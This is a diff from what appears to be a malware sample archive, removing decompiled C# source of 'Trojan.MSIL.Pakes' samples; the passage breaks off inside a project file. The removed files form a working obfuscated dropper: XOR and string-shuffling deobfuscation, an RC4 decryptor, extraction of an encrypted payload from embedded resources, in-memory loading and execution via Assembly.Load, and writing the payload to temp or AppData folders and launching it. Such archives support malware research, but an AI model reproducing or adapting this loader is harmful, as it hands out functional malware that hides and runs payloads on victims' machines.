{D9601BD7-76B7-47EE-B8C0-A99A0C975B82}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{D9601BD7-76B7-47EE-B8C0-A99A0C975B82}.Debug|Any CPU.Build.0 = Debug|Any CPU
{D9601BD7-76B7-47EE-B8C0-A99A0C975B82}.Release|Any CPU.ActiveCfg = Release|Any CPU
{D9601BD7-76B7-47EE-B8C0-A99A0C975B82}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Urds1z1wtoob4waskjjcwebqs.cs
-69
View File
@@ -1,69 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Urds1z1wtoob4waskjjcwebqs
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
using System;
using System.Text;
public static class Urds1z1wtoob4waskjjcwebqs
{
public static int qfjnrquufpjndpglj3e1lew0cvhsptjaw = 129;
public static byte[] Kdsdgtxvv1fwlfukxzrga1x3h(byte[] pnxiuqphqi0k510d0jlovrhiz3mowiq0h)
{
for (int index = 0; index < pnxiuqphqi0k510d0jlovrhiz3mowiq0h.Length; ++index)
{
char ch = (char) ((uint) Convert.ToChar(pnxiuqphqi0k510d0jlovrhiz3mowiq0h[index]) ^ (uint) Urds1z1wtoob4waskjjcwebqs.qfjnrquufpjndpglj3e1lew0cvhsptjaw);
pnxiuqphqi0k510d0jlovrhiz3mowiq0h[index] = Convert.ToByte(ch);
}
return pnxiuqphqi0k510d0jlovrhiz3mowiq0h;
}
public static string D0m30kgqe110xol4nvtqtinn3(string V25pnrapj1tc5xmms)
{
int length = V25pnrapj1tc5xmms.Length;
string str1 = V25pnrapj1tc5xmms.Substring(0, (V25pnrapj1tc5xmms.Length + 1) / 2);
string str2 = V25pnrapj1tc5xmms.Substring((V25pnrapj1tc5xmms.Length + 1) / 2, V25pnrapj1tc5xmms.Length - (V25pnrapj1tc5xmms.Length + 1) / 2);
int num = 0;
StringBuilder stringBuilder = new StringBuilder(str1);
for (int index = 0; index < str2.Length; ++index)
{
stringBuilder.Insert(num + 1, str2[index]);
num += 2;
}
return stringBuilder.ToString();
}
public static void RC4(ref byte[] bytes, byte[] key)
{
byte[] numArray1 = new byte[256];
byte[] numArray2 = new byte[256];
for (int index = 0; index < 256; ++index)
{
numArray1[index] = (byte) index;
numArray2[index] = key[index % key.GetLength(0)];
}
int index1 = 0;
for (int index2 = 0; index2 < 256; ++index2)
{
index1 = (index1 + (int) numArray1[index2] + (int) numArray2[index2]) % 256;
byte num = numArray1[index2];
numArray1[index2] = numArray1[index1];
numArray1[index1] = num;
}
int index3;
int index4 = index3 = 0;
for (int index5 = 0; index5 < bytes.GetLength(0); ++index5)
{
index4 = (index4 + 1) % 256;
index3 = (index3 + (int) numArray1[index4]) % 256;
byte num = numArray1[index4];
numArray1[index4] = numArray1[index3];
numArray1[index3] = num;
int index6 = ((int) numArray1[index4] + (int) numArray1[index3]) % 256;
bytes[index5] ^= numArray1[index6];
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/_003CModule_003E.cs
-12
View File
@@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: <Module>
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
using A;
internal class \u003CModule\u003E
{
static \u003CModule\u003E() => c0fd6042cf6163af5c5647fc1f5915949.c28f34ae17bcce30786fdac6c263b6e52();
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/Token2000013.cs
-12
View File
@@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: h5ujlmy3tnldxk1xj.Token2000013
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
namespace h5ujlmy3tnldxk1xj
{
internal class Token2000013 : \u0024Unresolved\u0024Token\u003A1003FFF
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs
-269
View File
@@ -1,269 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: h5ujlmy3tnldxk1xj.qbtgthkfdtdkregzw5sbjritg
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
using A;
using jjbyfmanvwf3fcjqxg0dm4lt2;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace h5ujlmy3tnldxk1xj
{
public class qbtgthkfdtdkregzw5sbjritg
{
private static bool cb328a725d56a5f4c35f2f7c02a5bd228 = true;
private byte[] ce0164d053d806b7c35ef4d6f64459821;
private string cb3e1a00ad6de83362fb300d25c1a57d0 = Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(869));
private string c91836dc2ab9789b73b3d04bfe94071ef = string.Empty;
private string cd933a40ffdc697c40c81635c1e8efc5d = string.Empty;
private int c22bd5ce84ab204d694f05398e2c10b98;
private bool c91fef3c33b84b4f396c54da8206d69bd;
private bool cba893a6240ee4c99c92572bc0977343b;
private string c92043dfe501872db97b0d10bad8dab76 = string.Empty;
private string c89b323e9d3e4bc0877e13b3f71248c1a = string.Empty;
private object c87fe99bbcc3da4044cff001ab87a8991;
private MethodInfo cf82ef5faba39ff11323b80cc07c01156;
private object c0060c02619fa07057cc111742ba0844d(int ca116803b7a99aff66b7a92076918aa52)
{
Assembly assembly = Assembly.Load(Urds1z1wtoob4waskjjcwebqs.Kdsdgtxvv1fwlfukxzrga1x3h(qbtgthkfdtdkregzw5sbjritg.Iorb2w43loblhrpwo(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1)))));
Thread.Sleep(1000);
System.Type type = assembly.GetTypes()[ca116803b7a99aff66b7a92076918aa52];
this.cf82ef5faba39ff11323b80cc07c01156 = type.GetMethod(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(20)));
return Activator.CreateInstance(type);
}
public static byte[] Iorb2w43loblhrpwo(string Vtqbnna0vaiunzs0c)
{
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(Vtqbnna0vaiunzs0c))
{
byte[] buffer = new byte[1024];
using (MemoryStream memoryStream = new MemoryStream())
{
while (true)
{
int count = manifestResourceStream.Read(buffer, 0, buffer.Length);
if (count > 0)
memoryStream.Write(buffer, 0, count);
else
break;
}
return memoryStream.ToArray();
}
}
}
private byte[] cb590b5b22d9efc5b95bc92ddce5227b9(byte[] cb1be5ab7eb896fd13f8e879c24425b0d)
{
if (this.cb3e1a00ad6de83362fb300d25c1a57d0 == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(27)))
Urds1z1wtoob4waskjjcwebqs.RC4(ref cb1be5ab7eb896fd13f8e879c24425b0d, xjelt1xzblpwevvmag5rnjzve32rhy4yl.Ey53uxfwuo1z4ftrs(this.c91836dc2ab9789b73b3d04bfe94071ef));
return cb1be5ab7eb896fd13f8e879c24425b0d;
}
private static void c8c544be5c75eefdc483b7e04682d902c(byte[] cad8be6fd54e41c543b7e79c7ccc6e6eb)
{
try
{
Thread thread = new Thread(new ParameterizedThreadStart(qbtgthkfdtdkregzw5sbjritg.ca4fab8035a423fab66890a0f9be2fed4));
thread.SetApartmentState(ApartmentState.STA);
thread.Start((object) cad8be6fd54e41c543b7e79c7ccc6e6eb);
thread.Join();
}
catch
{
qbtgthkfdtdkregzw5sbjritg.cb328a725d56a5f4c35f2f7c02a5bd228 = false;
}
}
private static void ca4fab8035a423fab66890a0f9be2fed4(object c5bea8f1bcf80d14a89aaabf6577dff60)
{
try
{
MethodInfo entryPoint = Assembly.Load((byte[]) c5bea8f1bcf80d14a89aaabf6577dff60).EntryPoint;
if (entryPoint.GetParameters().Length == 1)
entryPoint.Invoke((object) null, new object[1]
{
(object) new string[0]
});
else
entryPoint.Invoke((object) null, (object[]) null);
}
catch
{
qbtgthkfdtdkregzw5sbjritg.cb328a725d56a5f4c35f2f7c02a5bd228 = false;
}
}
private bool c342dc8e8e5f3f63219c0e8e43530cf23(byte[] c8ab6d60cfb93e6fc5f307d7ba720c3b6)
{
qbtgthkfdtdkregzw5sbjritg.c8c544be5c75eefdc483b7e04682d902c(c8ab6d60cfb93e6fc5f307d7ba720c3b6);
bool cb328a725d56a5f4c35f2f7c02a5bd228 = qbtgthkfdtdkregzw5sbjritg.cb328a725d56a5f4c35f2f7c02a5bd228;
qbtgthkfdtdkregzw5sbjritg.cb328a725d56a5f4c35f2f7c02a5bd228 = true;
return cb328a725d56a5f4c35f2f7c02a5bd228;
}
private void cffc7c3d1eed33e78ab120622162bdb46(
byte[] c83b1fb4d551712e0cc1418a59c54acbd,
string c7c6c9eeab3bc37a8c90ea89fab68a1cd,
bool c8f927366d5a87a12c6b0bbc8a7869df0)
{
try
{
File.WriteAllBytes(c7c6c9eeab3bc37a8c90ea89fab68a1cd, c83b1fb4d551712e0cc1418a59c54acbd);
if (!c8f927366d5a87a12c6b0bbc8a7869df0)
return;
new Process()
{
StartInfo = {
FileName = c7c6c9eeab3bc37a8c90ea89fab68a1cd
}
}.Start();
}
catch
{
}
}
private byte[] cb716513ba4c90d1faf01e700869946c3(
string c4becd67bfddee048f71b5038621a8aad,
int c7fd4b1e5f3eef4e4463570dac8ee9430,
string c4b2868005351317218daee6721fcef4e)
{
try
{
IntPtr hModule = majdcbl3z2ygng2ubtt5syebj.D5kge1nujvdjzhv0jghbiqxxz(string.Empty);
IntPtr hResInfo = majdcbl3z2ygng2ubtt5syebj.Zuiqftto0ycdigqdj2bliy2ze(hModule, c7fd4b1e5f3eef4e4463570dac8ee9430, c4b2868005351317218daee6721fcef4e);
uint length = majdcbl3z2ygng2ubtt5syebj.Kiu4wfxns4qkmxvobjd4lulyv(hModule, hResInfo);
IntPtr source = majdcbl3z2ygng2ubtt5syebj.Qwkx02hqegloe50zymjvgishq(hModule, hResInfo);
byte[] destination = new byte[(IntPtr) length];
Marshal.Copy(source, destination, 0, (int) length);
return destination;
}
catch (Exception ex)
{
Console.WriteLine(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(34)) + Environment.NewLine + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(83)) + ex.Message);
return (byte[]) null;
}
}
private string ca4821272955581cfb3bc9722a9819bf2(string cbd32a66846c8346f4104504dea17743c)
{
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(108)))
cbd32a66846c8346f4104504dea17743c = Application.StartupPath + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(144)))
cbd32a66846c8346f4104504dea17743c = Path.GetTempPath();
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(153)))
cbd32a66846c8346f4104504dea17743c = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(168)))
cbd32a66846c8346f4104504dea17743c = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(193)))
cbd32a66846c8346f4104504dea17743c = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(208)))
cbd32a66846c8346f4104504dea17743c = Environment.GetEnvironmentVariable(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(233))) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cbd32a66846c8346f4104504dea17743c == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(256)))
cbd32a66846c8346f4104504dea17743c = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
return cbd32a66846c8346f4104504dea17743c;
}
private string ca47fea07c3bebd4fb8b13138d0b1b0db(string cfb24d7fd223745044ea3ffa968812e90)
{
string str = string.Empty;
if (cfb24d7fd223745044ea3ffa968812e90 == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(283)))
str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
if (cfb24d7fd223745044ea3ffa968812e90 == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(286)))
str = Path.GetTempPath();
if (cfb24d7fd223745044ea3ffa968812e90 == Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(289)))
str = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141));
return str;
}
private void c7a18ce30d7bdbef4b324bd7078297ea9(string cb1be5ab7eb896fd13f8e879c24425b0d)
{
string[] separator1 = new string[1]
{
Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(292))
};
cb1be5ab7eb896fd13f8e879c24425b0d.Split(separator1, StringSplitOptions.None);
string[] separator2 = new string[1]
{
Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(343))
};
string[] strArray1 = cb1be5ab7eb896fd13f8e879c24425b0d.Split(separator2, StringSplitOptions.None);
string[] separator3 = new string[1]
{
Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(394))
};
string[] strArray2 = cb1be5ab7eb896fd13f8e879c24425b0d.Split(separator3, StringSplitOptions.None);
string[] separator4 = new string[1]
{
Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(429))
};
cb1be5ab7eb896fd13f8e879c24425b0d.Split(separator4, StringSplitOptions.None);
this.cb3e1a00ad6de83362fb300d25c1a57d0 = strArray1[1];
this.c91836dc2ab9789b73b3d04bfe94071ef = strArray1[2];
this.cd933a40ffdc697c40c81635c1e8efc5d = strArray1[3];
this.c22bd5ce84ab204d694f05398e2c10b98 = Convert.ToInt32(strArray2[1]);
this.c91fef3c33b84b4f396c54da8206d69bd = Convert.ToBoolean(strArray2[16]);
this.cba893a6240ee4c99c92572bc0977343b = Convert.ToBoolean(strArray2[17]);
this.c92043dfe501872db97b0d10bad8dab76 = this.ca4821272955581cfb3bc9722a9819bf2(strArray2[18]) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(141)) + Path.GetRandomFileName();
this.c89b323e9d3e4bc0877e13b3f71248c1a = strArray2[20];
this.c92043dfe501872db97b0d10bad8dab76 = this.c92043dfe501872db97b0d10bad8dab76.Substring(0, this.c92043dfe501872db97b0d10bad8dab76.Length - 4) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(480));
Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System));
string c89b323e9d3e4bc0877e13b3f71248c1a;
if ((c89b323e9d3e4bc0877e13b3f71248c1a = this.c89b323e9d3e4bc0877e13b3f71248c1a) == null)
return;
if (!(c89b323e9d3e4bc0877e13b3f71248c1a == c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(283)))
{
if (!(c89b323e9d3e4bc0877e13b3f71248c1a == c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(286)))
return;
this.c89b323e9d3e4bc0877e13b3f71248c1a = Environment.GetEnvironmentVariable(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(489))) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(680));
}
else
{
try
{
if (IntPtr.Size == 4)
this.c89b323e9d3e4bc0877e13b3f71248c1a = Environment.GetEnvironmentVariable(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(489))) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(502));
else
this.c89b323e9d3e4bc0877e13b3f71248c1a = Environment.GetEnvironmentVariable(Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(489))) + Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(589));
}
catch (Exception ex)
{
}
}
}
public void k1m3loxmmjqgq5simku0mrlt2()
{
string executablePath = Application.ExecutablePath;
try
{
this.c7a18ce30d7bdbef4b324bd7078297ea9(xjelt1xzblpwevvmag5rnjzve32rhy4yl.eubkjmyiz1ivj5id3(this.cb716513ba4c90d1faf01e700869946c3(executablePath, 87, Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(767)))));
this.ce0164d053d806b7c35ef4d6f64459821 = this.cb716513ba4c90d1faf01e700869946c3(executablePath, 91, Urds1z1wtoob4waskjjcwebqs.D0m30kgqe110xol4nvtqtinn3(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(834)));
this.ce0164d053d806b7c35ef4d6f64459821 = this.cb590b5b22d9efc5b95bc92ddce5227b9(this.ce0164d053d806b7c35ef4d6f64459821);
if (this.c91fef3c33b84b4f396c54da8206d69bd)
this.c342dc8e8e5f3f63219c0e8e43530cf23(this.ce0164d053d806b7c35ef4d6f64459821);
if (!this.cba893a6240ee4c99c92572bc0977343b)
return;
this.cffc7c3d1eed33e78ab120622162bdb46(this.ce0164d053d806b7c35ef4d6f64459821, this.c92043dfe501872db97b0d10bad8dab76, true);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
private static void cebbc1d9c27517b05e47877a297b7db87(string[] c887af87eabb326bcc2391ea75a0aae92)
{
ceb562aff020f9bdc8cc736dbc668c704.c46986238c6721588f7dd03501b3a2d53();
new qbtgthkfdtdkregzw5sbjritg().k1m3loxmmjqgq5simku0mrlt2();
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs
-12
View File
@@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: jjbyfmanvwf3fcjqxg0dm4lt2.Token2000014
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
namespace jjbyfmanvwf3fcjqxg0dm4lt2
{
internal class Token2000014 : \u0024Unresolved\u0024Token\u003A1003FFF
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs
-29
View File
@@ -1,29 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: jjbyfmanvwf3fcjqxg0dm4lt2.majdcbl3z2ygng2ubtt5syebj
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
using System;
using System.Runtime.InteropServices;
namespace jjbyfmanvwf3fcjqxg0dm4lt2
{
public class majdcbl3z2ygng2ubtt5syebj
{
[DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr D5kge1nujvdjzhv0jghbiqxxz(string lpModuleName);
[DllImport("kernel32.dll", EntryPoint = "FindResourceA")]
public static extern IntPtr Zuiqftto0ycdigqdj2bliy2ze(
IntPtr hModule,
int lpID,
string lpType);
[DllImport("kernel32.dll", EntryPoint = "LoadResource", SetLastError = true)]
public static extern IntPtr Qwkx02hqegloe50zymjvgishq(IntPtr hModule, IntPtr hResInfo);
[DllImport("kernel32.dll", EntryPoint = "SizeofResource", SetLastError = true)]
public static extern uint Kiu4wfxns4qkmxvobjd4lulyv(IntPtr hModule, IntPtr hResInfo);
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/net
BIN
View File
Binary file not shown.
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs
-33
View File
@@ -1,33 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: xjelt1xzblpwevvmag5rnjzve32rhy4yl
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
using System;
using System.Text;
public static class xjelt1xzblpwevvmag5rnjzve32rhy4yl
{
public static string eubkjmyiz1ivj5id3(byte[] Ax0meisjfqaslgkkjhz0nibfqxuaulwmv)
{
StringBuilder stringBuilder = new StringBuilder();
for (int index = 0; index < Ax0meisjfqaslgkkjhz0nibfqxuaulwmv.Length; ++index)
{
char ch = Convert.ToChar(Ax0meisjfqaslgkkjhz0nibfqxuaulwmv[index]);
stringBuilder.Append(Convert.ToString(ch));
}
return stringBuilder.ToString();
}
public static byte[] Ey53uxfwuo1z4ftrs(string Pfybko4jztrhmbxr2)
{
byte[] numArray = new byte[Pfybko4jztrhmbxr2.Length];
for (int startIndex = 0; startIndex < Pfybko4jztrhmbxr2.Length; ++startIndex)
{
char ch = Convert.ToChar(Pfybko4jztrhmbxr2.Substring(startIndex, 1));
numArray[startIndex] = Convert.ToByte(ch);
}
return numArray;
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/AssemblyInfo.cs
-14
View File
@@ -1,14 +0,0 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: Guid("02c918b5-6aa9-4c63-b1e7-a4e1e7dccf7c")]
[assembly: ComVisible(false)]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCopyright("bzxdGZrVkdNL")]
[assembly: AssemblyProduct("hdigdhxeRLbg")]
[assembly: AssemblyCompany("DoqfRduAbuuw")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyDescription("GpgQGPCQBker")]
[assembly: AssemblyTitle("ezoPvLzmLSxG")]
[assembly: AssemblyVersion("1.0.0.0")]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.csproj
-45
View File
@@ -1,45 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d.exe-->
<PropertyGroup>
